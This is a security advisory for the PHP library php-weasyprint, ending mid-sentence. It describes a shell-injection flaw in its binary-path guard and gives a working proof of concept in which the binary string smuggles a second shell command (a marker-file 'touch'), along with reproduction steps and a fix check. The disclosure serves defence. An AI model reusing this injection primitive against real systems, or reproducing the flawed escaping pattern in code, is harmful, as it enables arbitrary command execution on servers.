Description

php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc) ### Summary pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the quoted result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1). ### Affected versions pontedilana/php-weasyprint versions <= 2.5.0 (current master tip commit c2b51fed0bf442c3bf0292b879a09944d436f2a0, 2026-04-03). Patched in: 2.5.1 ### Privilege required Any caller that can influence the binary string handed to the Pdf constructor or to AbstractGenerator::setBinary(). Typical reach paths: - An application config file (config/services.yaml, .env, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override. - An admin UI that lets operators pick between multiple WeasyPrint builds (weasyprint-v60, weasyprint-v66) for compatibility reasons. - A multi-tenant SaaS that resolves binary location from a tenant config row. Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent generate() call shells out the injected payload as the PHP process user. ### Vulnerable code src/AbstractGenerator.php#L169-L172: php protected function buildCommand(string $binary, string $input, string $output, array $options = []): string { $escapedBinary = \escapeshellarg($binary); $command = \is_executable($escapedBinary) ? $escapedBinary : $binary; src/Pdf.php#L167-L170 overrides buildCommand with the same guard: php protected function buildCommand(string $binary, string $input, string $output, array $options = []): string { $escapedBinary = \escapeshellarg($binary); $command = \is_executable($escapedBinary) ? $escapedBinary : $binary; escapeshellarg($binary) returns a single-quoted string. is_executable() then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where $command is the raw, unescaped $binary string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted. This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of php-weasyprint states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable buildCommand was copied verbatim and never updated. ### How $binary reaches the shell caller code └── new Pdf($binary) // src/Pdf.php constructor └── parent::__construct($binary) └── $this->setBinary($binary) // src/AbstractGenerator.php:276 $this->binary = $binary; // no validation later, at conversion time: $pdf->generate($input, $output, $options) └── $this->getCommand($input, $output, $options) // src/AbstractGenerator.php:298 └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306 └── ($vulnerable guard, see above) └── returns $command including raw $binary └── $this->executeCommand($command) // src/AbstractGenerator.php:202 └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout) └── /bin/sh -c $command // shell metacharacters interpreted No intermediate validator, no scheme check, no allow-list. Whatever string reaches setBinary() is shell-evaluated. ### Proof of concept php <?php require __DIR__ . '/vendor/autoload.php'; use Pontedilana\PhpWeasyPrint\Pdf; @unlink('/tmp/php_weasyprint_rce_marker'); // Attacker-controlled binary string (e.g. coming from config / env / tenant settings). $binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #'; $pdf = new Pdf($binaryString); $pdf->setTimeout(5); try { $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true); } catch (Throwable $e) { // WeasyPrint binary call fails (its actual exit status is irrelevant); // the injected 'touch' between the ';' separators already ran. } if (file_exists('/tmp/php_weasyprint_rce_marker')) { echo "RCE MARKER PRESENT — injection landed.\n"; } else { echo "RCE marker absent — injection did NOT land.\n"; } The # at the end of $binaryString comments out the unrelated '/dev/null' '/tmp/poc_out.pdf' tail that buildCommand appends, keeping the shell line syntactically valid. ### End-to-end reproduction (against pinned Composer install) bash # 1. Pin the affected version mkdir poc-weasyprint && cd poc-weasyprint cat > composer.json <<'EOF' { "require": { "pontedilana/php-weasyprint": "2.5.0" } } EOF composer install --no-dev --quiet # 2. Run the PoC php poc.php Captured run output (PHP 8.5.6, macOS arm64): --- buildCommand output (uses reflection to peek) --- weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf' --- end buildCommand --- generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma... --- post-exec check --- RCE MARKER PRESENT — injection landed. stat: -rw-r--r--@ 1 rick wheel 0 5月 25 13:44 /tmp/php_weasyprint_rce_marker Interpretation: | Observation | Expected if guard worked | Actual | |---|---|---| | Compiled command starts with weasyprint --version ...; touch ...; # | Should be wrapped in single quotes, e.g. 'weasyprint --version > /dev/null; touch /tmp/...; #' | Raw, unquoted | | /tmp/php_weasyprint_rce_marker after generate() | Absent (binary path validation rejects) | Present — injected touch ran | The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed. Negative control on a benign binary path: bash php poc_negctrl.php # Benign-path negative control clean: no spurious marker. Even the benign path is emitted raw (without single-quotes around the binary), confirming the is_executable() guard never returns true — defensive depth is gone for every deployment, not just the malicious one. Fix verification: replacing both buildCommand overrides with the KnpLabs/snappy 1.7.1 shape (if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);) and re-running the same harness: --- patched buildCommand output --- [OK] buildCommand rejected malicious binary at the guard. msg: The binary 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #' is not executable. generate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary 'weasyprint ...' is not executable. PATCH OK — marker absent, injection blocked. The corrected guard runs is_executable() on the unescaped $binary. For the attacker payload that lookup

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